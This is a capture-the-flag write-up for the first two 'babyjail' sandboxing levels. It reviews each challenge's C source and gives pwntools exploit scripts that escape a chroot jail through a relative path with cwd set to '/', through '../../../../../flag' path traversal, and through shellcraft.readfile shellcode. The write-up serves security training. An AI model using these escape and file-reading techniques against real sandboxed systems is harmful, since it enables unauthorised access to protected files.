# babyjail

## Notes

### Shellcoding

Majority of levels in this module require shellcode writing. I recommend using `pwn.shellcraft()` from now on since this chapter is about sandboxing instead of shellcoding itself. Read more:

<https://docs.pwntools.com/en/stable/shellcraft/amd64.html#pwnlib.shellcraft.amd64.linux.syscall>

### strace

For each level, go to practice mode first and use `strace`. This step is **required**. If you skip this step, there is no way to figure out the file descriptor corresponding to each syscall.

## Level 1

### Challenge

### Code Review

```c
int main(int argc, char **argv, char **envp)
{
    assert(argc > 0);

    printf("###\n");
    printf("### Welcome to %s!\n", argv[0]);
    printf("###\n");
    printf("\n");

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 1);

    puts("This challenge will chroot into a jail in /tmp/jail-XXXXXX. You will be able to easily read a fake flag file inside this");
    puts("jail, not the real flag file outside of it. If you want the real flag, you must escape.\n");
    puts("The only thing you can do in this challenge is read out one single file, as specified by the first argument to the");
    puts("program (argv[1]).\n");

    assert(argc > 1);

    char jail_path[] = "/tmp/jail-XXXXXX";
    assert(mkdtemp(jail_path) != NULL);

    printf("Creating a jail at `%s`.\n", jail_path);

    assert(chroot(jail_path) == 0);

    int fffd = open("/flag", O_WRONLY | O_CREAT);
    write(fffd, "FLAG{FAKE}", 10);
    close(fffd);

    printf("Sending the file at `%s` to stdout.\n", argv[1]);
    sendfile(1, open(argv[1], 0), 0, 128);

}
```

This program calls `assert(chroot(jail_path) == 0);` to put us in a jail. Recall that calling `chroot()` without calling `chdir("/")` is useless. This is a **fake jail** and we are actually able to read the real flag directly.

### Solution

Note that the choice of `argv[1]` depends on your current working directory where you execute the script. The idea is:

1. If we use `/flag` as `argv[1]`, this pathname will be interpreted as `/tmp/jail-XXXXXX/flag`. This is the **fake flag**.
2. If we use `flag` as `argv[1]`, **the result depends on the current working directory where we execute the script**. We can provide an additional argument `cwd="/"` when starting the process to escape this sandbox.
3. Another option is utilizing **path traversal**. If we use `../../../../../flag` as `argv[1]`, the real flag will be sent to us as well.

### Exploit

#### Method 1

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("/challenge/babyjail_level1", checksec=False)

#--------Chroot Escape--------#

p = process(["/challenge/babyjail_level1", "flag"], cwd="/")

p.interactive()
```

#### Method 2

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("/challenge/babyjail_level1", checksec=False)

#--------chroot escape--------#

p = process(["/challenge/babyjail_level1", "../../../../../flag"])

p.interactive()
```

## Level 2

### Challenge

### Code Review

```c
int main(int argc, char **argv, char **envp)
{
    assert(argc > 0);

    printf("###\n");
    printf("### Welcome to %s!\n", argv[0]);
    printf("###\n");
    printf("\n");

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 1);

    puts("This challenge will chroot into a jail in /tmp/jail-XXXXXX. You will be able to easily read a fake flag file inside this");
    puts("jail, not the real flag file outside of it. If you want the real flag, you must escape.\n");

    puts("You may open a specified file, as given by the first argument to the program (argv[1]).\n");

    puts("You may upload custom shellcode to do whatever you want.\n");

    assert(argc > 1);

    puts("Checking to make sure you're not trying to open the flag.\n");
    assert(strstr(argv[1], "flag") == NULL);

    int fd = open(argv[1], O_RDONLY|O_NOFOLLOW);
    if (fd < 0)
        printf("Failed to open the file located at `%s`.\n", argv[1]);
    else
        printf("Successfully opened the file located at `%s`.\n", argv[1]);

    char jail_path[] = "/tmp/jail-XXXXXX";
    assert(mkdtemp(jail_path) != NULL);

    printf("Creating a jail at `%s`.\n", jail_path);

    assert(chroot(jail_path) == 0);

    int fffd = open("/flag", O_WRONLY | O_CREAT);
    write(fffd, "FLAG{FAKE}", 10);
    close(fffd);

    void *shellcode = mmap((void *)0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
    assert(shellcode == (void *)0x1337000);
    printf("Mapped 0x1000 bytes for shellcode at %p!\n", shellcode);

    puts("Reading 0x1000 bytes of shellcode from stdin.\n");
    int shellcode_size = read(0, shellcode, 0x1000);

    puts("This challenge is about to execute the following shellcode:\n");
    print_disassembly(shellcode, shellcode_size);
    puts("");

    puts("Executing shellcode!\n");

    ((void(*)())shellcode)();
}
```

This program is essentially the same as Level 1 but it takes a piece of shellcode and executes it. Again, this is a **fake jail** and we are able to esacpe it easily.

### Solution

The idea of this level is same as Level 1, but we are asked to write **shellcode** that does the same thing. Here we can use the pwntools built-in shellcode `shellcraft.readfile("flag", 1)` to send the flag to STDOUT.

Be careful, it is `"flag"`, not `"/flag"`.

Note that we are not doing `readfile("/flag", 1)` because of the existence of the fake flag. Instead, we use the same trick as in Level 1: start the process with an additional argument `cwd="/"` and call `readfile()` using relative path.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

elf = ELF("/challenge/babyjail_level2")
context.arch="amd64"

shellcode = asm(shellcraft.readfile("flag", 1))

p = process(["/challenge/babyjail_level2", "/"], cwd="/")
p.sendline(shellcode)
p.interactive()
```
